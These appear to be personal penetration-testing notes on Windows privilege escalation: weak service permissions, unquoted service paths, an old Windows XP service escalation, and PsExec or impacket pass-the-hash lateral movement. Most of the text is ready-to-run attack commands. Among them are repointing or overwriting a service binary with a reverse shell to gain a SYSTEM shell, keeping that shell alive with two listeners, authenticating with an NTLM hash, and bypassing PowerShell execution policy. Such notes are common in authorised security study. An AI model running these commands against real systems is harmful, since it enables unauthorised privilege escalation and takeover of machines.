Weak service permission

• A low privileged user is allowed to change service configuration - for example change the service binary the service launches when it starts

• A low privileged user can overwrite the binary the service launches when it starts

SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG

Short life shell, need persist it by setting 2 listeners and run 2nd shell in & b4 1st shell die

#enum for a target svc

.\accesschk.exe -uws "Everyone" "C:\Program Files"
or
powershell Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
or
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
or
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
.\accesschk.exe /accepteula -ucv "user" targetsvc

SERVICE_CHANGE_CONFIG:
#change exec path
sc.exe config targetsvc binpath= "c:\shell.exe"

SERVICE_ALL_ACCESS:
# check current binpath
sc.exe qc target

# check M access on the original service.exe from binpath
icacls C:\service.exe

cp C:\shell.exe C:\service.exe
sc start targetsvc

receive SYSTEM shell
listen & run shell.exe again to persist the short life shell
(need 2 listeners, make it to 2nd listener in 1st listener b4 it dies)

Unquoted service path

To list nonstandard services that start automatically

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows" 

find returned service having path without " " and find if precedential dir writable

icalcls "C:\puppet"

WindowsXP SP0/1 upnphost SSDPSRV

Windows XP SP0/SP1 Privilege Escalation to System Tutorialsohvaxus.github.io

sc qc upnphost

sc config SSDPSRV start= auto

PSexec

PSexec.exe -s cmd.exe -accepteula (or rev.exe on local)
PSexec.exe \\DC01 (-s) cmd.exe -accepteula

-c C:\rev.exe copy the exe to remote and exec
(no -c = exec system path exe)
-d dun want for process to terminate (non-interactive, can use when rev.exe but not cmd)
-s run as system

impacket-psexec [email protected] -hashes :645dc5a8871d2a4269d4cbe23f6ae103   
or user:'pw'@ip

need 445 or use -port to specify; need admin user to access $Admin

If need use PS, need a rev.exe and powershell -ep bypassin new shell
